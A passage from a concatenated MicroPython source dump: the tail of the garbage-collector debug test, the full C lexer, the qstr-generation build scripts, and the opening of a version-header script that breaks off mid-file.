'm'; break; } mp_printf(&mp_plat_print, "%c", c); } mp_print_str(&mp_plat_print, "\n"); GC_EXIT(); } #if DEBUG_PRINT void gc_test(void) { mp_uint_t len = 500; mp_uint_t *heap = malloc(len); gc_init(heap, heap + len / sizeof(mp_uint_t)); void *ptrs[100]; { mp_uint_t **p = gc_alloc(16, false); p[0] = gc_alloc(64, false); p[1] = gc_alloc(1, false); p[2] = gc_alloc(1, false); p[3] = gc_alloc(1, false); mp_uint_t ***p2 = gc_alloc(16, false); p2[0] = p; p2[1] = p; ptrs[0] = p2; } for (int i = 0; i < 25; i+=2) { mp_uint_t *p = gc_alloc(i, false); printf("p=%p\n", p); if (i & 3) { //ptrs[i] = p; } } printf("Before GC:\n"); gc_dump_alloc_table(); printf("Starting GC...\n"); gc_collect_start(); gc_collect_root(ptrs, sizeof(ptrs) / sizeof(void*)); gc_collect_end(); printf("After GC:\n"); gc_dump_alloc_table(); } #endif #endif // MICROPY_ENABLE_GC ================================================ FILE: micropython/source/py/lexer.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/reader.h" #include "py/lexer.h" #include "py/runtime.h" #if MICROPY_ENABLE_COMPILER #define TAB_SIZE (8) // TODO seems that CPython allows NULL byte in the input stream // don't know if that's intentional or not, but we don't allow it #define MP_LEXER_EOF ((unichar)MP_READER_EOF) #define CUR_CHAR(lex) ((lex)->chr0) STATIC bool is_end(mp_lexer_t *lex) { return lex->chr0 == MP_LEXER_EOF; } STATIC bool is_physical_newline(mp_lexer_t *lex) { return lex->chr0 == '\n'; } STATIC bool is_char(mp_lexer_t *lex, byte c) { return lex->chr0 == c; } STATIC bool is_char_or(mp_lexer_t *lex, byte c1, byte c2) { return lex->chr0 == c1 || lex->chr0 == c2; } STATIC bool is_char_or3(mp_lexer_t *lex, byte c1, byte c2, byte c3) { return lex->chr0 == c1 || lex->chr0 == c2 || lex->chr0 == c3; } STATIC bool is_char_following(mp_lexer_t *lex, byte c) { return lex->chr1 == c; } STATIC bool is_char_following_or(mp_lexer_t *lex, byte c1, byte c2) { return lex->chr1 == c1 || lex->chr1 == c2; } STATIC bool is_char_following_following_or(mp_lexer_t *lex, byte c1, byte c2) { return lex->chr2 == c1 || lex->chr2 == c2; } STATIC bool is_char_and(mp_lexer_t *lex, byte c1, byte c2) { return lex->chr0 == c1 && lex->chr1 == c2; } STATIC bool is_whitespace(mp_lexer_t *lex) { return unichar_isspace(lex->chr0); } STATIC bool is_letter(mp_lexer_t *lex) { return unichar_isalpha(lex->chr0); } STATIC bool is_digit(mp_lexer_t *lex) { return unichar_isdigit(lex->chr0); } STATIC bool is_following_digit(mp_lexer_t *lex) { return unichar_isdigit(lex->chr1); } STATIC bool is_following_base_char(mp_lexer_t *lex) { const unichar chr1 = lex->chr1 | 0x20; return chr1 == 'b' || chr1 == 'o' || chr1 == 'x'; } STATIC bool is_following_odigit(mp_lexer_t *lex) { return lex->chr1 >= '0' && lex->chr1 <= '7'; } STATIC bool is_string_or_bytes(mp_lexer_t *lex) { return is_char_or(lex, '\'', '\"') || (is_char_or3(lex, 'r', 'u', 'b') && is_char_following_or(lex, '\'', '\"')) || ((is_char_and(lex, 'r', 'b') || is_char_and(lex, 'b', 'r')) && is_char_following_following_or(lex, '\'', '\"')); } // to easily parse utf-8 identifiers we allow any raw byte with high bit set STATIC bool is_head_of_identifier(mp_lexer_t *lex) { return is_letter(lex) || lex->chr0 == '_' || lex->chr0 >= 0x80; } STATIC bool is_tail_of_identifier(mp_lexer_t *lex) { return is_head_of_identifier(lex) || is_digit(lex); } STATIC void next_char(mp_lexer_t *lex) { if (lex->chr0 == '\n') { // a new line ++lex->line; lex->column = 1; } else if (lex->chr0 == '\t') { // a tab lex->column = (((lex->column - 1 + TAB_SIZE) / TAB_SIZE) * TAB_SIZE) + 1; } else { // a character worth one column ++lex->column; } lex->chr0 = lex->chr1; lex->chr1 = lex->chr2; lex->chr2 = lex->reader.readbyte(lex->reader.data); if (lex->chr1 == '\r') { // CR is a new line, converted to LF lex->chr1 = '\n'; if (lex->chr2 == '\n') { // CR LF is a single new line, throw out the extra LF lex->chr2 = lex->reader.readbyte(lex->reader.data); } } // check if we need to insert a newline at end of file if (lex->chr2 == MP_LEXER_EOF && lex->chr1 != MP_LEXER_EOF && lex->chr1 != '\n') { lex->chr2 = '\n'; } } STATIC void indent_push(mp_lexer_t *lex, size_t indent) { if (lex->num_indent_level >= lex->alloc_indent_level) { lex->indent_level = m_renew(uint16_t, lex->indent_level, lex->alloc_indent_level, lex->alloc_indent_level + MICROPY_ALLOC_LEXEL_INDENT_INC); lex->alloc_indent_level += MICROPY_ALLOC_LEXEL_INDENT_INC; } lex->indent_level[lex->num_indent_level++] = indent; } STATIC size_t indent_top(mp_lexer_t *lex) { return lex->indent_level[lex->num_indent_level - 1]; } STATIC void indent_pop(mp_lexer_t *lex) { lex->num_indent_level -= 1; } // some tricky operator encoding: // = begin with , if this opchar matches then begin here // e = end with , if this opchar matches then end // c = continue with , if this opchar matches then continue matching // this means if the start of two ops are the same then they are equal til the last char STATIC const char *const tok_enc = "()[]{},:;@~" // singles " >= >> >>= "*e=c*e=" // * *= ** **= "+e=" // + += "-e=e>" // - -= -> "&e=" // & &= "|e=" // | |= "/e=c/e=" // / /= // //= "%e=" // % %= "^e=" // ^ ^= "=e=" // = == "!."; // start of special cases: != . ... // TODO static assert that number of tokens is less than 256 so we can safely make this table with byte sized entries STATIC const uint8_t tok_enc_kind[] = { MP_TOKEN_DEL_PAREN_OPEN, MP_TOKEN_DEL_PAREN_CLOSE, MP_TOKEN_DEL_BRACKET_OPEN, MP_TOKEN_DEL_BRACKET_CLOSE, MP_TOKEN_DEL_BRACE_OPEN, MP_TOKEN_DEL_BRACE_CLOSE, MP_TOKEN_DEL_COMMA, MP_TOKEN_DEL_COLON, MP_TOKEN_DEL_SEMICOLON, MP_TOKEN_DEL_AT, MP_TOKEN_OP_TILDE, MP_TOKEN_OP_LESS, MP_TOKEN_OP_LESS_EQUAL, MP_TOKEN_OP_DBL_LESS, MP_TOKEN_DEL_DBL_LESS_EQUAL, MP_TOKEN_OP_MORE, MP_TOKEN_OP_MORE_EQUAL, MP_TOKEN_OP_DBL_MORE, MP_TOKEN_DEL_DBL_MORE_EQUAL, MP_TOKEN_OP_STAR, MP_TOKEN_DEL_STAR_EQUAL, MP_TOKEN_OP_DBL_STAR, MP_TOKEN_DEL_DBL_STAR_EQUAL, MP_TOKEN_OP_PLUS, MP_TOKEN_DEL_PLUS_EQUAL, MP_TOKEN_OP_MINUS, MP_TOKEN_DEL_MINUS_EQUAL, MP_TOKEN_DEL_MINUS_MORE, MP_TOKEN_OP_AMPERSAND, MP_TOKEN_DEL_AMPERSAND_EQUAL, MP_TOKEN_OP_PIPE, MP_TOKEN_DEL_PIPE_EQUAL, MP_TOKEN_OP_SLASH, MP_TOKEN_DEL_SLASH_EQUAL, MP_TOKEN_OP_DBL_SLASH, MP_TOKEN_DEL_DBL_SLASH_EQUAL, MP_TOKEN_OP_PERCENT, MP_TOKEN_DEL_PERCENT_EQUAL, MP_TOKEN_OP_CARET, MP_TOKEN_DEL_CARET_EQUAL, MP_TOKEN_DEL_EQUAL, MP_TOKEN_OP_DBL_EQUAL, }; // must have the same order as enum in lexer.h // must be sorted according to strcmp STATIC const char *const tok_kw[] = { "False", "None", "True", "__debug__", "and", "as", "assert", #if MICROPY_PY_ASYNC_AWAIT "async", "await", #endif "break", "class", "continue", "def", "del", "elif", "else", "except", "finally", "for", "from", "global", "if", "import", "in", "is", "lambda", "nonlocal", "not", "or", "pass", "raise", "return", "try", "while", "with", "yield", }; // This is called with CUR_CHAR() before first hex digit, and should return with // it pointing to last hex digit // num_digits must be greater than zero STATIC bool get_hex(mp_lexer_t *lex, size_t num_digits, mp_uint_t *result) { mp_uint_t num = 0; while (num_digits-- != 0) { next_char(lex); unichar c = CUR_CHAR(lex); if (!unichar_isxdigit(c)) { return false; } num = (num << 4) + unichar_xdigit_value(c); } *result = num; return true; } STATIC void parse_string_literal(mp_lexer_t *lex, bool is_raw) { // get first quoting character char quote_char = '\''; if (is_char(lex, '\"')) { quote_char = '\"'; } next_char(lex); // work out if it's a single or triple quoted literal size_t num_quotes; if (is_char_and(lex, quote_char, quote_char)) { // triple quotes next_char(lex); next_char(lex); num_quotes = 3; } else { // single quotes num_quotes = 1; } size_t n_closing = 0; while (!is_end(lex) && (num_quotes > 1 || !is_char(lex, '\n')) && n_closing < num_quotes) { if (is_char(lex, quote_char)) { n_closing += 1; vstr_add_char(&lex->vstr, CUR_CHAR(lex)); } else { n_closing = 0; if (is_char(lex, '\\')) { next_char(lex); unichar c = CUR_CHAR(lex); if (is_raw) { // raw strings allow escaping of quotes, but the backslash is also emitted vstr_add_char(&lex->vstr, '\\'); } else { switch (c) { // note: "c" can never be MP_LEXER_EOF because next_char // always inserts a newline at the end of the input stream case '\n': c = MP_LEXER_EOF; break; // backslash escape the newline, just ignore it case '\\': break; case '\'': break; case '"': break; case 'a': c = 0x07; break; case 'b': c = 0x08; break; case 't': c = 0x09; break; case 'n': c = 0x0a; break; case 'v': c = 0x0b; break; case 'f': c = 0x0c; break; case 'r': c = 0x0d; break; case 'u': case 'U': if (lex->tok_kind == MP_TOKEN_BYTES) { // b'\u1234' == b'\\u1234' vstr_add_char(&lex->vstr, '\\'); break; } // Otherwise fall through. case 'x': { mp_uint_t num = 0; if (!get_hex(lex, (c == 'x' ? 2 : c == 'u' ? 4 : 8), &num)) { // not enough hex chars for escape sequence lex->tok_kind = MP_TOKEN_INVALID; } c = num; break; } case 'N': // Supporting '\N{LATIN SMALL LETTER A}' == 'a' would require keeping the // entire Unicode name table in the core. As of Unicode 6.3.0, that's nearly // 3MB of text; even gzip-compressed and with minimal structure, it'll take // roughly half a meg of storage. This form of Unicode escape may be added // later on, but it's definitely not a priority right now. -- CJA 20140607 mp_raise_NotImplementedError("unicode name escapes"); break; default: if (c >= '0' && c <= '7') { // Octal sequence, 1-3 chars size_t digits = 3; mp_uint_t num = c - '0'; while (is_following_odigit(lex) && --digits != 0) { next_char(lex); num = num * 8 + (CUR_CHAR(lex) - '0'); } c = num; } else { // unrecognised escape character; CPython lets this through verbatim as '\' and then the character vstr_add_char(&lex->vstr, '\\'); } break; } } if (c != MP_LEXER_EOF) { if (MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC) { if (c < 0x110000 && lex->tok_kind == MP_TOKEN_STRING) { vstr_add_char(&lex->vstr, c); } else if (c < 0x100 && lex->tok_kind == MP_TOKEN_BYTES) { vstr_add_byte(&lex->vstr, c); } else { // unicode character out of range // this raises a generic SyntaxError; could provide more info lex->tok_kind = MP_TOKEN_INVALID; } } else { // without unicode everything is just added as an 8-bit byte if (c < 0x100) { vstr_add_byte(&lex->vstr, c); } else { // 8-bit character out of range // this raises a generic SyntaxError; could provide more info lex->tok_kind = MP_TOKEN_INVALID; } } } } else { // Add the "character" as a byte so that we remain 8-bit clean. // This way, strings are parsed correctly whether or not they contain utf-8 chars. vstr_add_byte(&lex->vstr, CUR_CHAR(lex)); } } next_char(lex); } // check we got the required end quotes if (n_closing < num_quotes) { lex->tok_kind = MP_TOKEN_LONELY_STRING_OPEN; } // cut off the end quotes from the token text vstr_cut_tail_bytes(&lex->vstr, n_closing); } STATIC bool skip_whitespace(mp_lexer_t *lex, bool stop_at_newline) { bool had_physical_newline = false; while (!is_end(lex)) { if (is_physical_newline(lex)) { if (stop_at_newline && lex->nested_bracket_level == 0) { break; } had_physical_newline = true; next_char(lex); } else if (is_whitespace(lex)) { next_char(lex); } else if (is_char(lex, '#')) { next_char(lex); while (!is_end(lex) && !is_physical_newline(lex)) { next_char(lex); } // had_physical_newline will be set on next loop } else if (is_char_and(lex, '\\', '\n')) { // line-continuation, so don't set had_physical_newline next_char(lex); next_char(lex); } else { break; } } return had_physical_newline; } void mp_lexer_to_next(mp_lexer_t *lex) { // start new token text vstr_reset(&lex->vstr); // skip white space and comments bool had_physical_newline = skip_whitespace(lex, false); // set token source information lex->tok_line = lex->line; lex->tok_column = lex->column; if (lex->emit_dent < 0) { lex->tok_kind = MP_TOKEN_DEDENT; lex->emit_dent += 1; } else if (lex->emit_dent > 0) { lex->tok_kind = MP_TOKEN_INDENT; lex->emit_dent -= 1; } else if (had_physical_newline && lex->nested_bracket_level == 0) { lex->tok_kind = MP_TOKEN_NEWLINE; size_t num_spaces = lex->column - 1; if (num_spaces == indent_top(lex)) { } else if (num_spaces > indent_top(lex)) { indent_push(lex, num_spaces); lex->emit_dent += 1; } else { while (num_spaces < indent_top(lex)) { indent_pop(lex); lex->emit_dent -= 1; } if (num_spaces != indent_top(lex)) { lex->tok_kind = MP_TOKEN_DEDENT_MISMATCH; } } } else if (is_end(lex)) { lex->tok_kind = MP_TOKEN_END; } else if (is_string_or_bytes(lex)) { // a string or bytes literal // Python requires adjacent string/bytes literals to be automatically // concatenated. We do it here in the tokeniser to make efficient use of RAM, // because then the lexer's vstr can be used to accumulate the string literal, // in contrast to creating a parse tree of strings and then joining them later // in the compiler. It's also more compact in code size to do it here. // MP_TOKEN_END is used to indicate that this is the first string token lex->tok_kind = MP_TOKEN_END; // Loop to accumulate string/bytes literals do { // parse type codes bool is_raw = false; mp_token_kind_t kind = MP_TOKEN_STRING; int n_char = 0; if (is_char(lex, 'u')) { n_char = 1; } else if (is_char(lex, 'b')) { kind = MP_TOKEN_BYTES; n_char = 1; if (is_char_following(lex, 'r')) { is_raw = true; n_char = 2; } } else if (is_char(lex, 'r')) { is_raw = true; n_char = 1; if (is_char_following(lex, 'b')) { kind = MP_TOKEN_BYTES; n_char = 2; } } // Set or check token kind if (lex->tok_kind == MP_TOKEN_END) { lex->tok_kind = kind; } else if (lex->tok_kind != kind) { // Can't concatenate string with bytes break; } // Skip any type code characters if (n_char != 0) { next_char(lex); if (n_char == 2) { next_char(lex); } } // Parse the literal parse_string_literal(lex, is_raw); // Skip whitespace so we can check if there's another string following skip_whitespace(lex, true); } while (is_string_or_bytes(lex)); } else if (is_head_of_identifier(lex)) { lex->tok_kind = MP_TOKEN_NAME; // get first char (add as byte to remain 8-bit clean and support utf-8) vstr_add_byte(&lex->vstr, CUR_CHAR(lex)); next_char(lex); // get tail chars while (!is_end(lex) && is_tail_of_identifier(lex)) { vstr_add_byte(&lex->vstr, CUR_CHAR(lex)); next_char(lex); } // Check if the name is a keyword. // We also check for __debug__ here and convert it to its value. This is // so the parser gives a syntax error on, eg, x.__debug__. Otherwise, we // need to check for this special token in many places in the compiler. const char *s = vstr_null_terminated_str(&lex->vstr); for (size_t i = 0; i < MP_ARRAY_SIZE(tok_kw); i++) { int cmp = strcmp(s, tok_kw[i]); if (cmp == 0) { lex->tok_kind = MP_TOKEN_KW_FALSE + i; if (lex->tok_kind == MP_TOKEN_KW___DEBUG__) { lex->tok_kind = (MP_STATE_VM(mp_optimise_value) == 0 ? MP_TOKEN_KW_TRUE : MP_TOKEN_KW_FALSE); } break; } else if (cmp < 0) { // Table is sorted and comparison was less-than, so stop searching break; } } } else if (is_digit(lex) || (is_char(lex, '.') && is_following_digit(lex))) { bool forced_integer = false; if (is_char(lex, '.')) { lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG; } else { lex->tok_kind = MP_TOKEN_INTEGER; if (is_char(lex, '0') && is_following_base_char(lex)) { forced_integer = true; } } // get first char vstr_add_char(&lex->vstr, CUR_CHAR(lex)); next_char(lex); // get tail chars while (!is_end(lex)) { if (!forced_integer && is_char_or(lex, 'e', 'E')) { lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG; vstr_add_char(&lex->vstr, 'e'); next_char(lex); if (is_char(lex, '+') || is_char(lex, '-')) { vstr_add_char(&lex->vstr, CUR_CHAR(lex)); next_char(lex); } } else if (is_letter(lex) || is_digit(lex) || is_char(lex, '.')) { if (is_char_or3(lex, '.', 'j', 'J')) { lex->tok_kind = MP_TOKEN_FLOAT_OR_IMAG; } vstr_add_char(&lex->vstr, CUR_CHAR(lex)); next_char(lex); } else { break; } } } else { // search for encoded delimiter or operator const char *t = tok_enc; size_t tok_enc_index = 0; for (; *t != 0 && !is_char(lex, *t); t += 1) { if (*t == 'e' || *t == 'c') { t += 1; } tok_enc_index += 1; } next_char(lex); if (*t == 0) { // didn't match any delimiter or operator characters lex->tok_kind = MP_TOKEN_INVALID; } else if (*t == '!') { // "!=" is a special case because "!" is not a valid operator if (is_char(lex, '=')) { next_char(lex); lex->tok_kind = MP_TOKEN_OP_NOT_EQUAL; } else { lex->tok_kind = MP_TOKEN_INVALID; } } else if (*t == '.') { // "." and "..." are special cases because ".." is not a valid operator if (is_char_and(lex, '.', '.')) { next_char(lex); next_char(lex); lex->tok_kind = MP_TOKEN_ELLIPSIS; } else { lex->tok_kind = MP_TOKEN_DEL_PERIOD; } } else { // matched a delimiter or operator character // get the maximum characters for a valid token t += 1; size_t t_index = tok_enc_index; while (*t == 'c' || *t == 'e') { t_index += 1; if (is_char(lex, t[1])) { next_char(lex); tok_enc_index = t_index; if (*t == 'e') { break; } } else if (*t == 'c') { break; } t += 2; } // set token kind lex->tok_kind = tok_enc_kind[tok_enc_index]; // compute bracket level for implicit line joining if (lex->tok_kind == MP_TOKEN_DEL_PAREN_OPEN || lex->tok_kind == MP_TOKEN_DEL_BRACKET_OPEN || lex->tok_kind == MP_TOKEN_DEL_BRACE_OPEN) { lex->nested_bracket_level += 1; } else if (lex->tok_kind == MP_TOKEN_DEL_PAREN_CLOSE || lex->tok_kind == MP_TOKEN_DEL_BRACKET_CLOSE || lex->tok_kind == MP_TOKEN_DEL_BRACE_CLOSE) { lex->nested_bracket_level -= 1; } } } } mp_lexer_t *mp_lexer_new(qstr src_name, mp_reader_t reader) { mp_lexer_t *lex = m_new_obj(mp_lexer_t); lex->source_name = src_name; lex->reader = reader; lex->line = 1; lex->column = (size_t)-2; // account for 3 dummy bytes lex->emit_dent = 0; lex->nested_bracket_level = 0; lex->alloc_indent_level = MICROPY_ALLOC_LEXER_INDENT_INIT; lex->num_indent_level = 1; lex->indent_level = m_new(uint16_t, lex->alloc_indent_level); vstr_init(&lex->vstr, 32); // store sentinel for first indentation level lex->indent_level[0] = 0; // load lexer with start of file, advancing lex->column to 1 // start with dummy bytes and use next_char() for proper EOL/EOF handling lex->chr0 = lex->chr1 = lex->chr2 = 0; next_char(lex); next_char(lex); next_char(lex); // preload first token mp_lexer_to_next(lex); // Check that the first token is in the first column. If it's not then we // convert the token kind to INDENT so that the parser gives a syntax error. if (lex->tok_column != 1) { lex->tok_kind = MP_TOKEN_INDENT; } return lex; } mp_lexer_t *mp_lexer_new_from_str_len(qstr src_name, const char *str, size_t len, size_t free_len) { mp_reader_t reader; mp_reader_new_mem(&reader, (const byte*)str, len, free_len); return mp_lexer_new(src_name, reader); } #if MICROPY_READER_POSIX || MICROPY_READER_VFS mp_lexer_t *mp_lexer_new_from_file(const char *filename) { mp_reader_t reader; mp_reader_new_file(&reader, filename); return mp_lexer_new(qstr_from_str(filename), reader); } #if MICROPY_HELPER_LEXER_UNIX mp_lexer_t *mp_lexer_new_from_fd(qstr filename, int fd, bool close_fd) { mp_reader_t reader; mp_reader_new_file_from_fd(&reader, fd, close_fd); return mp_lexer_new(filename, reader); } #endif #endif void mp_lexer_free(mp_lexer_t *lex) { if (lex) { lex->reader.close(lex->reader.data); vstr_clear(&lex->vstr); m_del(uint16_t, lex->indent_level, lex->alloc_indent_level); m_del_obj(mp_lexer_t, lex); } } #if 0 // This function is used to print the current token and should only be // needed to debug the lexer, so it's not available via a config option. void mp_lexer_show_token(const mp_lexer_t *lex) { printf("(" UINT_FMT ":" UINT_FMT ") kind:%u str:%p len:%zu", lex->tok_line, lex->tok_column, lex->tok_kind, lex->vstr.buf, lex->vstr.len); if (lex->vstr.len > 0) { const byte *i = (const byte *)lex->vstr.buf; const byte *j = (const byte *)i + lex->vstr.len; printf(" "); while (i < j) { unichar c = utf8_get_char(i); i = utf8_next_char(i); if (unichar_isprint(c)) { printf("%c", (int)c); } else { printf("?"); } } } printf("\n"); } #endif #endif // MICROPY_ENABLE_COMPILER ================================================ FILE: micropython/source/py/makeqstrdata.py ================================================ """ Process raw qstr file and output qstr data with length, hash and data bytes. This script works with Python 2.6, 2.7, 3.3 and 3.4. """ from __future__ import print_function import re import sys # Python 2/3 compatibility: # - iterating through bytes is different # - codepoint2name lives in a different module import platform if platform.python_version_tuple()[0] == '2': bytes_cons = lambda val, enc=None: bytearray(val) from htmlentitydefs import codepoint2name elif platform.python_version_tuple()[0] == '3': bytes_cons = bytes from html.entities import codepoint2name # end compatibility code codepoint2name[ord('-')] = 'hyphen'; # add some custom names to map characters that aren't in HTML codepoint2name[ord(' ')] = 'space' codepoint2name[ord('\'')] = 'squot' codepoint2name[ord(',')] = 'comma' codepoint2name[ord('.')] = 'dot' codepoint2name[ord(':')] = 'colon' codepoint2name[ord(';')] = 'semicolon' codepoint2name[ord('/')] = 'slash' codepoint2name[ord('%')] = 'percent' codepoint2name[ord('#')] = 'hash' codepoint2name[ord('(')] = 'paren_open' codepoint2name[ord(')')] = 'paren_close' codepoint2name[ord('[')] = 'bracket_open' codepoint2name[ord(']')] = 'bracket_close' codepoint2name[ord('{')] = 'brace_open' codepoint2name[ord('}')] = 'brace_close' codepoint2name[ord('*')] = 'star' codepoint2name[ord('!')] = 'bang' codepoint2name[ord('\\')] = 'backslash' codepoint2name[ord('+')] = 'plus' codepoint2name[ord('$')] = 'dollar' codepoint2name[ord('=')] = 'equals' codepoint2name[ord('?')] = 'question' codepoint2name[ord('@')] = 'at_sign' codepoint2name[ord('^')] = 'caret' codepoint2name[ord('|')] = 'pipe' codepoint2name[ord('~')] = 'tilde' # this must match the equivalent function in qstr.c def compute_hash(qstr, bytes_hash): hash = 5381 for b in qstr: hash = (hash * 33) ^ b # Make sure that valid hash is never zero, zero means "hash not computed" return (hash & ((1 << (8 * bytes_hash)) - 1)) or 1 def qstr_escape(qst): def esc_char(m): c = ord(m.group(0)) try: name = codepoint2name[c] except KeyError: name = '0x%02x' % c return "_" + name + '_' return re.sub(r'[^A-Za-z0-9_]', esc_char, qst) def parse_input_headers(infiles): # read the qstrs in from the input files qcfgs = {} qstrs = {} for infile in infiles: with open(infile, 'rt') as f: for line in f: line = line.strip() # is this a config line? match = re.match(r'^QCFG\((.+), (.+)\)', line) if match: value = match.group(2) if value[0] == '(' and value[-1] == ')': # strip parenthesis from config value value = value[1:-1] qcfgs[match.group(1)] = value continue # is this a QSTR line? match = re.match(r'^Q\((.*)\)$', line) if not match: continue # get the qstr value qstr = match.group(1) # special case to specify control characters if qstr == '\\n': qstr = '\n' # work out the corresponding qstr name ident = qstr_escape(qstr) # don't add duplicates if ident in qstrs: continue # add the qstr to the list, with order number to retain original order in file qstrs[ident] = (len(qstrs), ident, qstr) if not qcfgs: sys.stderr.write("ERROR: Empty preprocessor output - check for errors above\n") sys.exit(1) return qcfgs, qstrs def make_bytes(cfg_bytes_len, cfg_bytes_hash, qstr): qbytes = bytes_cons(qstr, 'utf8') qlen = len(qbytes) qhash = compute_hash(qbytes, cfg_bytes_hash) if all(32 <= ord(c) <= 126 and c != '\\' and c != '"' for c in qstr): # qstr is all printable ASCII so render it as-is (for easier debugging) qdata = qstr else: # qstr contains non-printable codes so render entire thing as hex pairs qdata = ''.join(('\\x%02x' % b) for b in qbytes) if qlen >= (1 << (8 * cfg_bytes_len)): print('qstr is too long:', qstr) assert False qlen_str = ('\\x%02x' * cfg_bytes_len) % tuple(((qlen >> (8 * i)) & 0xff) for i in range(cfg_bytes_len)) qhash_str = ('\\x%02x' * cfg_bytes_hash) % tuple(((qhash >> (8 * i)) & 0xff) for i in range(cfg_bytes_hash)) return '(const byte*)"%s%s" "%s"' % (qhash_str, qlen_str, qdata) def print_qstr_data(qcfgs, qstrs): # get config variables cfg_bytes_len = int(qcfgs['BYTES_IN_LEN']) cfg_bytes_hash = int(qcfgs['BYTES_IN_HASH']) # print out the starter of the generated C header file print('// This file was automatically generated by makeqstrdata.py') print('') # add NULL qstr with no hash or data print('QDEF(MP_QSTR_NULL, (const byte*)"%s%s" "")' % ('\\x00' * cfg_bytes_hash, '\\x00' * cfg_bytes_len)) # go through each qstr and print it out for order, ident, qstr in sorted(qstrs.values(), key=lambda x: x[0]): qbytes = make_bytes(cfg_bytes_len, cfg_bytes_hash, qstr) print('QDEF(MP_QSTR_%s, %s)' % (ident, qbytes)) def do_work(infiles): qcfgs, qstrs = parse_input_headers(infiles) print_qstr_data(qcfgs, qstrs) if __name__ == "__main__": do_work(sys.argv[1:]) ================================================ FILE: micropython/source/py/makeqstrdefs.py ================================================ """ This script processes the output from the C preprocessor and extracts all qstr. Each qstr is transformed into a qstr definition of the form 'Q(...)'. This script works with Python 2.6, 2.7, 3.3 and 3.4. """ from __future__ import print_function import re import sys import os # Blacklist of qstrings that are specially handled in further # processing and should be ignored QSTRING_BLACK_LIST = set(['NULL', 'number_of']) def write_out(fname, output): if output: for m, r in [("/", "__"), ("\\", "__"), (":", "@"), ("..", "@@")]: fname = fname.replace(m, r) with open(args.output_dir + "/" + fname + ".qstr", "w") as f: f.write("\n".join(output) + "\n") def process_file(f): output = [] last_fname = None for line in f: # match gcc-like output (# n "file") and msvc-like output (#line n "file") if line and (line[0:2] == "# " or line[0:5] == "#line"): m = re.match(r"#[line]*\s\d+\s\"([^\"]+)\"", line) assert m is not None fname = m.group(1) if not fname.endswith(".c"): continue if fname != last_fname: write_out(last_fname, output) output = [] last_fname = fname continue for match in re.findall(r'MP_QSTR_[_a-zA-Z0-9]+', line): name = match.replace('MP_QSTR_', '') if name not in QSTRING_BLACK_LIST: output.append('Q(' + name + ')') write_out(last_fname, output) return "" def cat_together(): import glob import hashlib hasher = hashlib.md5() all_lines = [] outf = open(args.output_dir + "/out", "wb") for fname in glob.glob(args.output_dir + "/*.qstr"): with open(fname, "rb") as f: lines = f.readlines() all_lines += lines all_lines.sort() all_lines = b"\n".join(all_lines) outf.write(all_lines) outf.close() hasher.update(all_lines) new_hash = hasher.hexdigest() #print(new_hash) old_hash = None try: with open(args.output_file + ".hash") as f: old_hash = f.read() except IOError: pass if old_hash != new_hash: print("QSTR updated") try: # rename below might fail if file exists os.remove(args.output_file) except: pass os.rename(args.output_dir + "/out", args.output_file) with open(args.output_file + ".hash", "w") as f: f.write(new_hash) else: print("QSTR not updated") if __name__ == "__main__": if len(sys.argv) != 5: print('usage: %s command input_filename output_dir output_file' % sys.argv[0]) sys.exit(2) class Args: pass args = Args() args.command = sys.argv[1] args.input_filename = sys.argv[2] args.output_dir = sys.argv[3] args.output_file = sys.argv[4] try: os.makedirs(args.output_dir) except OSError: pass if args.command == "split": with open(args.input_filename) as infile: process_file(infile) if args.command == "cat": cat_together() ================================================ FILE: micropython/source/py/makeversionhdr.py ================================================ """ Generate header file with macros defining MicroPython version info. This script works with Python 2.6, 2.7, 3.3 and 3.4. """ from __future__ import print_function import sys import os import datetime import subprocess def get_version_info_from_git(): # Python 2.6 doesn't have check_output, so check for that try: subprocess.check_output subprocess.check_call except AttributeError: return None # Note: git describe doesn't work if no tag is available try: git_tag = subprocess.check_output(["git", "describe", "--dirty", "--always"], stderr=subprocess.STDOUT, universal_newlines=True).strip() except subprocess.CalledProcessError as er: if er.returncode == 128: # git exit code of 128 means no repository found return None git_tag = "" except OSError: return None try: git_hash = subprocess.check_output(["git", "rev-parse", "--short", "HEAD"], stderr=subprocess.STDOUT, universal_newlines=True).strip() except subprocess.CalledProcessError: git_hash = "unknown" except OSError: return None try: # Check if there are any modified files. subprocess.check_call(["git", "diff", "--no-ext-diff", "--quiet", "--exit-code"], stderr=subprocess.STDOUT) # Check if there are any staged files. subprocess.check_call(["git", "diff-index", "--cached", "--quiet", "HEAD", "--"], stderr=subprocess.STDOUT) except subprocess.CalledProcessError: git_hash += "-dirty" except OSError: return None # Try to extract MicroPython version from git tag if git_tag.startswith("v"): ver = git_tag[1:].split("-")[0].split(".") if len(ver) == 2: ver.append("0") else: ver = ["0", "0", "1"] return git_tag, git_hash, ver def get_version_info_from_docs_conf(): with open(os.path.join(os.path.dirname(sys.argv[0]), "..", "docs", "conf.py")) as f: for line in f: if line.startswith("version = release = '"): ver = line.strip().split(" = ")[2].strip("'") git_tag = "v" + ver ver = ver.split(".") if len(ver) == 2: ver.append("0") return git_tag, "", ver return None def make_version_header(filename): # Get version info using git, with fallback to docs/conf.py info = get_version_info_from_git() if info is None: info = get_version_info_from_docs_conf() git_tag, git_hash, ver = info # Generate the file with the git and version info file_data = """\ // This file was generated by py/makeversionhdr.py #define MICROPY_GIT_TAG 